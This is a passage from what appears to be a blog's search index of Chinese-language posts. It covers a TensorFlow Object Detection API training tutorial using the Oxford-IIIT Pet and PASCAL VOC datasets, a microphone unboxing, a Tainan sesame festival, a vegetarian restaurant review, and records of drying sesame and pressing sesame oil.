解壓縮完兩個壓縮檔之後，現在 models/research/ 目錄之下應該會包含以下幾個檔案與目錄：\nannotations.tar.gz annotations/ images.tar.gz images/ object_detection/ 這幾個檔案與目錄是這個範例所需要的，所以要確認它們的相對位置，至於其他的目錄目前不會用到，所以就可以不用管它們。\n在使用 Tensorflow Object Detection API 在訓練模型時，所讀取的資料格式是 TFRecord，所以我們要先用 create_pet_tf_record.py 這個 Python 指令稿，把 Oxford-IIIT Pet Dataset 的資料轉換為 TFRecord 格式：\n# 將 Oxford-IIIT Pet Dataset 資料轉為 TFRecord 格式 python object_detection/dataset_tools/create_pet_tf_record.py --label_map_path=object_detection/data/pet_label_map.pbtxt --data_dir=`pwd` --output_dir=`pwd` 執行之後，在 models/research/ 目錄下應該會產生兩個 TFRecord 檔：\npet_train_with_masks.record pet_val_with_masks.record 我在撰寫文章時發現這個 create_pet_tf_record.py 指令稿可能因為處於開發階段，有些小 bugs 造成 TFRecord 檔轉不出來，若遇到這種狀況請開啟 create_pet_tf_record.py 指令稿自己除錯。\n在預設的轉檔模式下，create_pet_tf_record.py 會產生動物臉部的資料集，若要產生全身動物的資料集，可調整 --faces_only 參數，詳細的使用方式，請直接查看這個程式的原始碼。\n將產生的這兩個 TFRecord 檔案放進 models/research/object_detection/data/ 之中：\nmv pet_train_with_masks.record object_detection/data/ mv pet_val_with_masks.record object_detection/data/ 這樣資料就準備好了。\n預訓練模型 要訓練一個高水準的模型，縱使有多張 GPU 卡通常也都需要非常久的時間，而使用預訓練模型（pre-trained model）最為初始值來進行訓練，可以加速訓練的過程。這裡我們拿一個以 COCO 資料集所訓練出來的模型為基礎，作為我們的模型初始值。\n下載 Faster RCNN + Resnet101 以 COCO 資料集訓練好的模型：\nwget http://storage.googleapis.com/download.tensorflow.org/models/object_detection/faster_rcnn_resnet101_coco_11_06_2017.tar.gz tar zxvf faster_rcnn_resnet101_coco_11_06_2017.tar.gz 將模型參數的檢查點（check points）放入 object_detection/data/：\n# 將模型參數放入 object_detection/data/ cp faster_rcnn_resnet101_coco_11_06_2017/model.ckpt.* object_detection/data/ 建立模型訓練管線 在 Tensorflow Object Detection API 中，所有的模型參數、訓練參數與驗證參數都定義在一個 .config 設定檔中（詳細說明可參考 TensorFlow 的文件），在 object_detection/samples/configs/ 目錄下有許多範例設定檔，這裡我們先以 faster_rcnn_resnet101_pets.config 這個範例設定檔來修改，請使用一般的文字編輯器編輯這個設定檔。\n在這個範例設定檔中，尋找含有 PATH_TO_BE_CONFIGURED 的位置，將這些地方替換成自己系統上的路徑。\n編輯完成後，將這個設定檔儲存於 models/research/object_detection/data/ 之中。\n到現在為止，models/research/object_detection/data/ 這個目錄中應該會包含以下檔案（其他的不重要）：\nfaster_rcnn_resnet101_pets.config model.ckpt.data-00000-of-00001 model.ckpt.index model.ckpt.meta pet_label_map.pbtxt pet_train_with_masks.record pet_val_with_masks.record 訓練模型 參考 TensorFlow 的文件，進行模型訓練。首先定義一下設定檔與訓練結果的放置路徑：\n# 設定檔路徑 PIPELINE_CONFIG=\u0026#34;object_detection/data/faster_rcnn_resnet101_pets.config\u0026#34; # 訓練結果放置路徑 MY_MODEL_DIR=\u0026#34;my_model\u0026#34; 接著使用一張好一點的 GPU 卡進行訓練：\n# 使用第一張 GPU 卡進行訓練 CUDA_VISIBLE_DEVICES= python object_detection/train.py --logtostderr --pipeline_config_path=${PIPELINE_CONFIG} --train_dir=${MY_MODEL_DIR}/train 如果還有第二張 GPU 卡，可以開啟另外一個終端機（或使用 screen 環境），執行驗證的 Python 指令稿：\n# 使用第二張 GPU 卡進行驗證 CUDA_VISIBLE_DEVICES=1 python object_detection/eval.py --logtostderr --pipeline_config_path=${PIPELINE_CONFIG} --checkpoint_dir=${MY_MODEL_DIR}/train --eval_dir=${MY_MODEL_DIR}/eval 開啟另外一個終端機，執行 TensorBoard 以監看模型訓練情況：\n# 啟動 TensorBoard tensorboard --port=16006 --logdir=${MY_MODEL_DIR} 訓練的過程需要一段時間，我拿一張 NVIDIA GeForce GTX 1060 來跑，大約需要一天多左右，訓練的過程中可以使用 TensorBoard 檢查模型的情況。\n若有同時執行驗證模型的 Python 指令稿的話，就可以同時在 TensorBoard 中觀看驗證結果。\n匯出模型 當模型訓練完成後，接著就可以將模型匯出。首先找到訓練模型時所輸出的檢查點檔案，其位於放置檢查點的目錄中（在這個例子中則為 ${MY_MODEL_DIR}/train），而一個檢查點包含三個檔案，分別為：\nmodel.ckpt-${CHECKPOINT_NUMBER}.data-00000-of-00001 model.ckpt-${CHECKPOINT_NUMBER}.index model.ckpt-${CHECKPOINT_NUMBER}.meta 找到檢查檔之後，切換至 models/research/ 目錄，執行以下指令將模型匯出：\n# 設定檢查點檔案路徑 CHECKPOINT_NUMBER=200000 CKPT_PREFIX=${MY_MODEL_DIR}/train/model.ckpt-${CHECKPOINT_NUMBER} # 將訓練好的模型匯出 python object_detection/export_inference_graph.py --input_type image_tensor --pipeline_config_path ${PIPELINE_CONFIG} --trained_checkpoint_prefix ${CKPT_PREFIX} --output_directory my_exported_graphs 匯出的模型會被儲存於 my_exported_graphs 這個目錄中，這樣就完成整個模型的訓練過程了。\n預測 將模型匯出之後，就可以稍微修改一下前一篇教學的程式碼，把模型與標註對應檔替換掉，就可以使用新模型進行預測了，這部份請依照自己的路徑來修改。\n# 設定模型與標註對應檔路徑 MODEL_NAME = \u0026#39;path/to/my_exported_graphs\u0026#39; PATH_TO_LABELS = \u0026#39;path/to/pet_label_map.pbtxt\u0026#39; 類別數量也要記得改一下：\nNUM_CLASSES = 37 跑出來的結果會像這樣：\n測試的時候，可以直接拿 OXFORD-IIIT PET Dataset 的測試資料集來使用，或是從網路下載一些可愛的照片來測試。\n以上是拿 OXFORD-IIIT PET Dataset 資料集放進 TensorFlow Object Detection API 訓練模型的流程，事實上只要能夠將資料轉換成正確的格式，任何資料集都可以放進來使用。\n網路上還有非常多的資料集可以免費下載使用，接下來我們繼續示範另外一個 PASCAL VOC 2012 資料集的使用方式，請繼續閱讀下一頁。\nPASCAL VOC 2012 資料集 首先從 PASCAL VOC 2012 的網站上下載該資料集，整個資料集的大小大約是 2GB，下載時要稍微等一下：\ncd models/research/ # 下載 PASCAL VOC 2012 資料集（2GB） wget http://host.robots.ox.ac.uk/pascal/VOC/voc2012/VOCtrainval_11-May-2012.tar 使用 create_pascal_tf_record.py 將 PASCAL VOC 2012 資料轉為 TFRecord 格式：\n# 將 PASCAL VOC 2012 資料轉為 TFRecord 格式（training set） python object_detection/dataset_tools/create_pascal_tf_record.py --data_dir=VOCdevkit --year=VOC2012 --set=train --label_map_path=object_detection/data/pascal_label_map.pbtxt --output_path=object_detection/data/pascal_train.record # 將 PASCAL VOC 2012 資料轉為 TFRecord 格式（validation set） python object_detection/dataset_tools/create_pascal_tf_record.py --data_dir=VOCdevkit --year=VOC2012 --set=val --label_map_path=object_detection/data/pascal_label_map.pbtxt --output_path=object_detection/data/pascal_val.record 這裡同樣以 Faster RCNN + Resnet101 + COCO 的模型作為預訓練模型，下載後放進 object_detection/data/ 目錄：\n# Faster RCNN + Resnet101 以 COCO 資料集訓練好的模型 wget http://storage.googleapis.com/download.tensorflow.org/models/object_detection/faster_rcnn_resnet101_coco_11_06_2017.tar.gz # 將模型參數放入 object_detection/data/ tar zxvf faster_rcnn_resnet101_coco_11_06_2017.tar.gz cp faster_rcnn_resnet101_coco_11_06_2017/model.ckpt.* object_detection/data/ 接下來要建立一個 .config 設定檔，這部分可參考 faster_rcnn_resnet101_voc07.config 這個內建的範例，將包含 PATH_TO_BE_CONFIGURED 的路徑修改一下，其餘的設定可以不需要更改，編輯完成後同樣儲存於 models/research/object_detection/data/ 之中，由於我們這裡使用的資料是 2012 年的，所以我把新的檔名變更為 faster_rcnn_resnet101_voc12.config。\n接著就可以開始訓練模型，訓練模型的方式跟之前相同：\n# 設定檔路徑 PIPELINE_CONFIG=\u0026#34;object_detection/data/faster_rcnn_resnet101_voc12.config\u0026#34; # 訓練結果放置路徑 MY_MODEL_DIR=\u0026#34;my_voc_model\u0026#34; # 使用第一張 GPU 卡進行訓練 CUDA_VISIBLE_DEVICES= python object_detection/train.py --logtostderr --pipeline_config_path=${PIPELINE_CONFIG} --train_dir=${MY_MODEL_DIR}/train # 使用第二張 GPU 卡進行驗證 CUDA_VISIBLE_DEVICES=1 python object_detection/eval.py --logtostderr --pipeline_config_path=${PIPELINE_CONFIG} --checkpoint_dir=${MY_MODEL_DIR}/train --eval_dir=${MY_MODEL_DIR}/eval # 啟動 TensorBoard tensorboard --port=16006 --logdir=${MY_MODEL_DIR} 在訓練的過程中，同樣可以使用 TensorBoard 監看模型的狀況：\n模型訓練好之後，依照同樣的方式匯出模型：\n# 設定檢查點檔案路徑 CHECKPOINT_NUMBER=800000 CKPT_PREFIX=${MY_MODEL_DIR}/train/model.ckpt-${CHECKPOINT_NUMBER} # 將訓練好的模型匯出 python object_detection/export_inference_graph.py --input_type image_tensor --pipeline_config_path ${PIPELINE_CONFIG} --trained_checkpoint_prefix ${CKPT_PREFIX} --output_directory my_exported_graphs 並將新模型套用至前一篇教學的程式碼，跑出來的結果會像這樣：\n參考資料 PythonProgramming.net Priya Dwivedi Dat Tran Jiancheng Li ","permalink":"https://blog.gtwang.org/programming/tensorflow-object-detection-api-custom-object-model-training-tutorial/","summary":"\u003cp\u003e這裡介如何使用自己的資料，以 TensorFlow Object Detection API 訓練出適用於特定物件的模型，建立自己的物件辨識系統。\u003c/p\u003e\n\u003cp\u003e在 \u003ca href=\"/programming/tensorflow-object-detection-api-tutorial/\"\u003eTensorFlow Object Detection API 自動辨識物件教學文章\u003c/a\u003e中，我們是直接使用既有已經訓練好的模型來辨識物件，但如果我們有一些比較特別的物件需要進行辨識，而這些物件又沒有被包含在既有模型中的話，就沒辦法直接使用既有的模型，這時候就需要先蒐集一些該物件的影像與標註資料，進一步訓練模型後，才能讓模型辨識出比較特別的物件。\u003c/p\u003e","title":"TensorFlow Object Detection API 自行訓練模型教學，辨識特定物件"},{"content":"本篇是 Sennheiser MKE 600 槍型麥克風的簡單開箱文。\n最近因為要記錄台南西港的黑芝麻採收過程，時常需要在田野中拍攝農民的工作過程，所以想添購一支收音比較好的麥克風，上露天拍賣網站上選了這隻 Sennheiser MKE 600 槍型麥克風（12,800 元），加上 KA 600 轉接線的價格是 13,500 元（免運費），但是因為是代購的，所以沒有現貨，過了兩個多禮拜才拿到貨。\n這是收到的包裹。\n裡面有一層泡泡袋。\n外盒有一點壓到，不過我個人是不在意這個，重點是設備可以馬上到手使用最重要。\n這是 Sennheiser MKE 600 槍型麥克風底部的標示。\n雖然外盒有點壓到，不過打開外盒，內容物的狀況非常好，沒什麼影響。\n這是 Sennheiser MKE 600 槍型麥克風的說明書與袋子。\n由於麥克風有用很厚的海綿包裝，所以看起來狀況非常好。\n這一支就是 Sennheiser MKE 600 槍型麥克風，材質是金屬做的，質感不錯。\n這支 Sennheiser MKE 600 槍型麥克風是德國製（Made in Germany）的。\n這是麥克風的 XLR 母接頭。\n這是麥克風收音的那一頭。\n這是麥克風的側邊。\n這是麥克風的電源開關與低切濾波器開關，開啟低切濾波器可將低頻聲音（例如風切聲）濾掉。\n這是電池盒，使用一顆三號（AA）電池。\n這是麥克風減震架，可讓麥克風固定在單眼相機的熱靴座上。\n下方減震架有螺絲孔，也可以鎖在一般的腳架上。\n這是加購的 Sennheiser KA 600 轉接線，可以將麥克風的 XLR 接頭轉為一般單眼相機可用的 3.5 mm 音源接頭，有了這個轉接線才能搭配單眼相機使用。\n這條轉接線是菲律賓製的。\n這是 Sennheiser KA 600 轉接線拆封後的樣子。\n這些就是這次採購的設備。\n組合起來之後，就像這樣。\nSennheiser MKE 600 槍型麥克風有附贈一個海綿防風套，在室外風大的時候，可以套在麥克風上，減低風切聲。\n這是套上海綿防風套的樣子。\n最後就是把麥克風設備接在單眼相機的熱靴座上。這是接在 Olympus OM-D E-M5 Mark II 單眼相機上面的樣子。\n麥克風靠著減震架鎖在熱靴座上，記得要把後面的麥克風的音源輸出線接在相機的音源輸入孔。\n原本的單眼相機設備就已經很大台了，接上這支麥克風又大了一倍。\n因為麥克風剛入手，目前還沒有時間實測，等到之後有實際拍攝的影片我再補上來。\n","permalink":"https://blog.gtwang.org/unboxing/sennheiser-mke-600-unboxing-20171207/","summary":"\u003cp\u003e本篇是 Sennheiser MKE 600 槍型麥克風的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e最近因為要記錄\u003ca href=\"/agriculture/exposuring-sesame-sigang-tainan-20171122/\"\u003e台南西港的黑芝麻採收過程\u003c/a\u003e，時常需要在田野中拍攝農民的工作過程，所以想添購一支收音比較好的麥克風，上露天拍賣網站上選了這隻 Sennheiser MKE 600 槍型麥克風（12,800 元），加上 KA 600 轉接線的價格是 13,500 元（免運費），但是因為是代購的，所以沒有現貨，過了兩個多禮拜才拿到貨。\u003c/p\u003e","title":"[開箱] Sennheiser MKE 600 槍型麥克風"},{"content":"本篇是我今天帶阿玄去逛 2017 西港胡麻節的簡單紀錄。\n西港農會每年在年底芝麻收成時，都會舉辦胡麻節的推廣活動，活動現場有許多的攤位可以逛，往年都沒有時間來，今年剛好有空，就來看看。\n今年的西港胡麻節是 12/9 與 12/10 兩天，我來的時間是第二天的下午，雖然快結束了，不過人還是不少。\n在這裡有很多的攤位可以逛，有一些是附近各地區家政班所設的攤位，而有一些則是一般普通的攤販。\n我個人對於那些攤販是沒有太大的興趣，只是想看看麻油間仔裡面的樣子，看看有沒有現場的榨油示範可以觀看。\n麻油間仔是西港農會自營的胡麻榨油廠，在胡麻節這兩天都可以買到現榨的黑麻油喔。\n裡面小小一間，販售各種西港農會所生產的芝麻相關產品。\n透過玻璃櫥窗，可以看到現場榨油的情況，不過我們來的時候似乎已經快收攤了。\n這裡有現場榨出來的黑麻油以及清麻油。\n這些是剛做好的芝麻糖，用的芝麻都是西港在地的芝麻，非常好吃。\n芝麻糖好像是這裡最暢銷的產品，我們來的時候架上都是空的，等了一下才看到服務生又上了一批剛做好的芝麻糖。\n在另外一側的櫥窗有芝麻糖現場製作的流程可以看，不過我們來的時候，他們剛好做完，所以沒看到。\n這些是芝麻醬。\n這是麻油達軟膏。\n牆上有掛榨麻油的六大步驟說明。\n我與阿玄都是第一次來，感覺很新鮮。\n","permalink":"https://blog.gtwang.org/agriculture/sesame-festival-sigang-tainan-20171210/","summary":"\u003cp\u003e本篇是我今天帶阿玄去逛 2017 西港胡麻節的簡單紀錄。\u003c/p\u003e\n\u003cp\u003e西港農會每年在年底芝麻收成時，都會舉辦胡麻節的推廣活動，活動現場有許多的攤位可以逛，往年都沒有時間來，今年剛好有空，就來看看。\u003c/p\u003e","title":"[台南西港] 2017 西港胡麻節簡單紀錄"},{"content":"高仰三時尚蔬食南港店位於南港車站三樓，有各式蔬食料理，還有咖啡、下午茶。\n這禮拜五我出差去台北南港展覽館，參加 2017 台灣醫療科技展，顧了一天的攤位，晚上要再從南港搭六點多的高鐵回台南，所以要先在附近找一家素食餐廳吃一下晚餐，結果我在南港車站的 GlobalMall 環球購物中心找了好久，完全沒有素食的餐廳，後來就走到 CITYLINK A 棟三樓的高仰三時尚蔬食用餐。\n高仰三時尚蔬食南港店目前已經停止營業。\n高仰三時尚蔬食南港店是一家高級的養生素食餐廳，除了各式蔬食料理之外，還有提供下午茶，適合商務聚餐。\n店內的環境整潔舒適，座位也還不少。\n這裡服務生的服務態度都很好。\n後方有整片的落地窗，在這裡聚餐感覺還不錯，我來吃飯的時間大約是五點左右，太陽剛下山。\n旁邊有一區放置飲水、餐具與醬料的區域，飲水有熱開水與檸檬水，我感覺他們的檸檬水很好喝。\n這裡的醬料都是高仰三自己調製的天然醬料，種類還不少。\n這裡的簡餐升級套餐可以自己選擇要加哪些項目，我今天因為趕時間，吃完飯馬上要做高鐵，所以不敢點太多，只點了一道有機番茄義大利麵，加上濃湯。\n今天因為在南港展覽館站了一天，有點累了，忘記拍菜單了。\n這是南瓜濃湯，沒有過多的調味，可以喝到南瓜的鮮甜滋味。\n這一道是有機番茄義大利麵。\n高仰三時尚蔬食所有料理的食材都非常講究，以有機、自然農法或無毒食材為主，堅持提供天然、健康的料理給消費者。\n高仰三無法全面提供有機認證的料理，主因在於很難要求所有農民都配合進行有機認證，農民傳統的觀念大都只是生產農產品，不會想花額外的力氣去進行認證，不過縱使沒有經過有機認證，高仰三對於食材的來源也會嚴格把關，挑選優質、天然、無毒的食材，再加上高仰三也堅持不添加人工調味劑，保留食物原始的營養與口感，讓消費者在這裡用餐都可以非常放心。\n一般的餐廳通常都會因為成本考量，無法兼顧所有食材的來源與品質，高仰三能夠實踐這一點是很不容易的。\n這裡也有免費的 WiFi 無線網路可以使用，來這裡喝下午茶似乎很不錯。\n展示櫃中放置了許多高仰三所出產的產品，大部分都是有機、自然農法與無毒的食品。\n在結帳時跟服務生聊天，她跟我說由於食安事件頻傳，高仰三所有的料理用油都採用這裡的苦茶油，以確保所有的料理既安全又健康，我聽了嚇一跳，因為苦茶油是相當高級的油品，成本非常高，我自己吃都不見得餐餐用這種油了，更何況是餐廳，光是這一點就非常值得讚許。\n來這裡用餐，用 facebook 打卡並按讚，就可以獲得小禮物喔。\n在入口處有高仰三的經營理念：\n食物，本該純淨、天然、無添加，吃得到原汁原味，除此之外，我們還有更高的期許與追求─充滿能量、饒益身心。\n其實高仰三這一家素食餐廳之前就已經放在我的口袋名單中，由於是高級餐廳，原本是打算安排比較有空的時間去慢慢吃，結果這次出差到南港展覽館，下午提早從展場離開，多了一小時的空檔，在南港車站臨時又不知道去哪吃，就乾脆來這裡，但是因為我真的累了，又趕時間，所以拍照拍的不是很好，請大家見諒。\n另外我看他們的下午茶有墨西哥薄餅與冰滴拿鐵，兩個都是我最喜歡吃的，下次再看看有沒有機會來吃吃看。 🙂\n高仰三時尚蔬食 Cafe 位置 高仰三時尚蔬食的位置位於南港車站 CITYLINK 南港店 A 棟三樓，如果搭乘高鐵（或台鐵）的話，就直接搭乘手扶梯上到三樓就到了，但對於外地來出差的人來說，在南港車站這種室內沒有導航的環境，要找路真的很辛苦，所以我順便把室內的環境拍下來給大家參考。\n從高鐵站出來，乘坐手扶梯上去（我忘了拍這是哪一個出口，因為我真的累了，我記得好像是捷運站的方向？）。\n手扶梯上來之後，就可以進到 CITYLINK 南港店 A 棟的大樓。\n進到 CITYLINK 之後就順著手扶梯上樓。\n上到二樓之後，要走到外面乘坐手扶梯再上到三樓。\n這是二樓上三樓的手扶梯。\n到了CITYLINK 南港店 A 棟三樓，在親子樂園後方就是高仰三時尚蔬食 Cafe。\n","permalink":"https://blog.gtwang.org/life/gaoyangsan-vegetarian-restaurant-nangang-taipei-20171208/","summary":"\u003cp\u003e高仰三時尚蔬食南港店位於南港車站三樓，有各式蔬食料理，還有咖啡、下午茶。\u003c/p\u003e\n\u003cp\u003e這禮拜五我出差去台北南港展覽館，參加 2017 台灣醫療科技展，顧了一天的攤位，晚上要再從南港搭六點多的高鐵回台南，所以要先在附近找一家素食餐廳吃一下晚餐，結果我在南港車站的 GlobalMall 環球購物中心找了好久，完全沒有素食的餐廳，後來就走到 CITYLINK A 棟三樓的高仰三時尚蔬食用餐。\u003c/p\u003e","title":"[南港素食] 高仰三時尚蔬食 Cafe 簡餐、下午茶，南港車站三樓"},{"content":"本篇記錄台南西港 2017 年秋季的黑芝麻在收成之後，送到傳統柴燒榨油廠榨成黑麻油的記錄。\n今年秋天我們家栽種的黑芝麻，經過了採收與曝曬、打芝麻、二次曝曬之後，接著就可以送到榨油廠榨成黑麻油了。\n西港地區是著名的台灣黑芝麻產地，這附近也有不少專門榨麻油的工廠，我們今天去的這一家奇洲麻油廠是有 35 年歷史的傳統柴燒榨油廠，門口放著小小的麻油招牌，我們開車來的時候，在幾百公尺之外就可以聞到非常香的麻油香味。\n旁邊的空地上堆了許多木柴。\n木柴有細長型的，也有大塊的。\n通常農民都會開著自己的農用小貨車，把曬乾的芝麻載過來榨油。這是我們家四叔的小貨車。\n將黑芝麻榨成黑麻油的製作過程，可分為六個步驟：\n焙炒：以柴燒的火爐滾動炒鍋，火溫大約 250 ～ 260 度，依據生芝麻的水分狀況，焙炒約 40 分鐘。 散熱：將焙炒過的芝麻攤放在地上，用耙子翻動芝麻，讓蒸氣散去，使芝麻迅速降溫冷卻。 碾碎：將芝麻碾碎成粉狀，讓芝麻在壓榨時更容易出油。 蒸熟：將碾碎成粉狀的芝麻，用布包起來，放進蒸籠裡面蒸 7 ～ 10 分鐘，讓油脂軟化。 壓模：將蒸好的芝麻粉，放進壓模機器，壓成芝麻餅。 榨油：將芝麻餅放進榨油機，加壓後榨出黑麻油。 這是我們在榨油廠一整個下午所拍攝到的榨油過程。\n以下是各個步驟的攝影照片紀錄。\n焙炒 在焙炒芝麻的過程中，需要不斷添加柴火，但也不能讓火燒的太旺，火若燒得太旺，還要澆一點水下去。\n在焙炒芝麻時，工作人員需要持續以人工查看鍋爐裡面芝麻的狀況，這些都需要一定的經驗。\n散熱 炒好的芝麻，從鍋爐內倒出來之後，要馬上攤在地上，用耙子耙開散熱，這些剛炒好的芝麻都非常燙（超過 100 度），所以倒出來的時候要小心。\n在芝麻剛倒出來的時候，整片都是蒸氣，這時候就可以聞到非常濃的芝麻香氣，這種芝麻香氣是台灣本土芝麻才會有的。\n麻油廠的工作人員跟我們說，他們只接台灣本土種植的芝麻，如果發現是進口芝麻一律拒絕，因為進口芝麻炒下去的時候會整個冒煙，嗆得他們都受不了，氣味非常難聞，連鄰居都會抗議，跟台灣芝麻完全不一樣。\n碾碎 將冷卻的芝麻，放進機器碾碎，讓榨油時更容易出油。\n這些就是碾碎後的芝麻。\n蒸熟 將碾碎的芝麻，用布包起來，放進蒸鍋裡面蒸個 7 ～ 10 分鐘，讓油脂軟化。\n這是剛蒸好的芝麻。\n芝麻蒸好之後，就用布包著直接拿起來，感覺非常燙的樣子。\n壓模 將蒸好的芝麻放進壓模機器，用機器壓成芝麻餅。\n這些就是壓好的芝麻餅，這些芝麻餅看起來沒有很大塊，但是卻非常重。\n榨油 將壓好的芝麻餅放進榨油機，準備榨油。\n在壓榨這些芝麻餅時，要壓好多次，並調整一些受力不均的部分，讓芝麻裡面的油可以盡量被榨出來。\n將芝麻餅排好之後，用機器壓下去，就可以看到純的黑麻油直接流出來了。\n榨出來的黑麻油會先承裝在下方的桶子裡，然後再進行分裝，這樣就完成黑芝麻榨油的流程了。\n這些是榨完油之後的芝麻餅。\n這些芝麻餅在榨完油之後，就稱為麻油粕，非常適合拿去當成肥料。\n這種麻油粕是非常好的天然肥料，如果家裡有自己種菜吃的話，可以買一些回去。\n麻油粕其實就是芝麻渣，聞起來很香，只是因為裡面的油脂已經被榨掉的，所以吃起來苦苦的，不太能吃。\n這是奇洲麻油廠的名片。\n我們這次去拍攝的地點是奇洲麻油廠的工廠，在西港附近，位於蚶西港開仙宮的斜對面（請參考 Google 地圖）。\n以下是一些其他的照片，下面這張是在清理柴燒的灰燼。\n這個榨油廠會讓農民親自監督整個榨油過程，所以可以確保整個炸油過程不會混到其他的油。\n阿玄今天跟我們來這裡也很高興，拿著掃把在一旁幫忙掃。\n阿玄很認真的在照相。\n以下是一些阿玄拍攝的相片。\n後記 這次的黑芝麻榨油過程拍攝，我們規畫了好久，我也特別把休假排在這天，準備兩台相機去拍攝，我自己拿一台 Olympus EM-5 Mark II 加上 12-40mm F2.8 Pro，另一台 Olympus E-PL6 加上 17mm F1.8 給阿玄，不然很難搞定他。\n農民在芝麻收成後，就會先跟榨油廠聯絡，預先排定一個榨油的時間，但是這個時間也還要看自己的芝麻處理狀況如何，若是運氣好都遇上大晴天，芝麻曝曬一切順利的話，就可以依照預定時間去榨油，但是若遇到下雨，芝麻曬不乾的話，就必須要改期了，所以我們在準備榨油這幾天，都想辦法把事情排開。\n在榨油當天農民會先把芝麻般去榨油廠放（甚至前一天就拿去的也有），等到快輪到農民自己的芝麻要榨油時，榨油廠就會通知農民去在旁監督，每家榨油廠的作法可能不同，這是奇洲麻油廠的狀況。\n今天拍攝的榨油過程，主要是我們四叔所種植的芝麻，由於他早上還有另外一塊玉米田要讓商人採收，所以必須在一大早先把芝麻再去榨油廠放，但是我們家阿玄早上要上學，需要人接送，加上出門的時間實在是太早了，冬天又很冷，我實在是不太想去，所以這段就叫玄媽去拍。以下是在天都還沒亮的凌晨四點多，開著農用小貨車載芝麻到榨油廠的紀錄影片。\n參考資料 台南市北門社區大學 上下游 News\u0026amp;Market ","permalink":"https://blog.gtwang.org/agriculture/pressing-sesame-oil-sigang-tainan-20171204/","summary":"\u003cp\u003e本篇記錄台南西港 2017 年秋季的黑芝麻在收成之後，送到傳統柴燒榨油廠榨成黑麻油的記錄。\u003c/p\u003e\n\u003cp\u003e今年秋天我們家栽種的黑芝麻，經過了\u003ca href=\"/agriculture/exposuring-sesame-sigang-tainan-20171122/\"\u003e採收與曝曬\u003c/a\u003e、\u003ca href=\"/agriculture/harvest-sesame-seeds-sigang-tainan-20171124/\"\u003e打芝麻\u003c/a\u003e、\u003ca href=\"/agriculture/exposuring-sesame-sigang-tainan-20171203/\"\u003e二次曝曬\u003c/a\u003e之後，接著就可以送到榨油廠榨成黑麻油了。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e西港地區是著名的台灣黑芝麻產地，這附近也有不少專門榨麻油的工廠，我們今天去的這一家奇洲麻油廠是有 35 年歷史的傳統柴燒榨油廠，門口放著小小的麻油招牌，我們開車來的時候，在幾百公尺之外就可以聞到非常香的麻油香味。\u003c/p\u003e","title":"[台南西港] 黑芝麻傳統柴燒榨油記錄，2017 年秋季"},{"content":"本篇記錄台南西港 2017 年秋季的黑芝麻從田裡採收完成後，拿回家繼續曝曬的紀錄。\n成熟的黑芝麻在經過採收與曝曬後，接著會將芝麻籽從果夾內打出來，拿回家之後再曝曬幾天，最後大部分的芝麻都會拿去榨成黑麻油。\n通常農民如果有同時種植好幾塊芝麻田，就會分批種植與採收，這是第一批採收回來的黑芝麻，放在家門口曝曬。\n這是第二批從另外一塊芝麻田所打下來的黑芝麻。\n這些黑芝麻通常還是會參雜一些雜質，曝曬完之後，還要再用電扇把裡面比較細的雜質吹掉才算完成。\n台南西港地區所種植的黑芝麻，品質比進口芝麻更好，製作出來的麻油也更香醇，當地有實際在種植芝麻的農民都非常清楚。\n通常農民都會從自己採收起來的芝麻中，選擇品質比較好的留下來當隔年的種子，而影片中我們四嬸有提到在 2016 年秋季時，剛好撥種都遇到颱風，種了好幾次都被颱風泡死掉，結果前一年沒留那麼多種子，造成黑芝麻種子大缺貨，只好跟認識的人買種子。\n由於今年這一季所種植的芝麻，種子有混到些微的紅芝麻與白芝麻，所以在採收時會有非常少量的的紅芝麻與白芝麻混在裡面，我們特別把這些紅芝麻與白芝麻挑一些出來拍照。\n因為芝麻很小粒，紅芝麻與白芝麻的量又很少，所以光挑出這些就花了一個小時。\n這是阿玄在撿芝麻的影片。\n這是我們另外一位叔叔所採收的一批芝麻。\n今年西港地區的黑芝麻盛產，收成很不錯，芝麻品質非常好。\n這又是另外一批黑芝麻，不同批的芝麻都是從不同塊芝麻田所採收下來的。\n今年黑芝麻的大量收購價大約在 1 斤 150 ～ 180 元左右，叔叔們的黑芝麻都是被商人以 1000 斤或 500 斤的量收購走，收購的時機通常都很早，黑芝麻還在田裡時就被訂走了，或是剛採收、曬好就被商人用現金收購走。大量收購是不分等級的，裝袋載了就走，目前黑芝麻和麻油都供不應求，大缺貨中。\n今年我特別拜託叔叔們留些給我零售乾燥黑芝麻，這種農民的第一手當季黑芝麻在市面上買不到，目前留下來零售的黑芝麻量不多，但是我希望透過這種模式推廣台灣當地本產黑芝麻，順便讓大家有機會買得到這種最健康沒處理的榖物。\n農民的第一手乾燥黑芝麻不經過任何水洗或處理，是最天然、健康且安全的乾燥黑芝麻，很適合拿來做黑芝麻芽菜，依照家人的種植經驗，只要保存得當，發芽率九成幾近十成，加上台灣黑芝麻的天然甘甜味，這樣的黑芝麻芽菜品質會很好。\n若要種植芝麻，一分地大約需要 4 兩黑芝麻種子來播種，所以一斤黑芝麻就可以種出 4 分地左右的黑芝麻田。\n阿玄也很認真地拿著相機在拍攝芝麻照片。\n以下都是阿玄自己拍的照片。\n","permalink":"https://blog.gtwang.org/agriculture/exposuring-sesame-sigang-tainan-20171203/","summary":"\u003cp\u003e本篇記錄台南西港 2017 年秋季的黑芝麻從田裡採收完成後，拿回家繼續曝曬的紀錄。\u003c/p\u003e\n\u003cp\u003e成熟的黑芝麻在經過\u003ca href=\"/agriculture/exposuring-sesame-sigang-tainan-20171122/\"\u003e採收與曝曬\u003c/a\u003e後，接著會\u003ca href=\"/agriculture/harvest-sesame-seeds-sigang-tainan-20171124/\"\u003e將芝麻籽從果夾內打出來\u003c/a\u003e，拿回家之後再曝曬幾天，最後大部分的芝麻都會拿去\u003ca href=\"/agriculture/pressing-sesame-oil-sigang-tainan-20171204/\"\u003e榨成黑麻油\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || 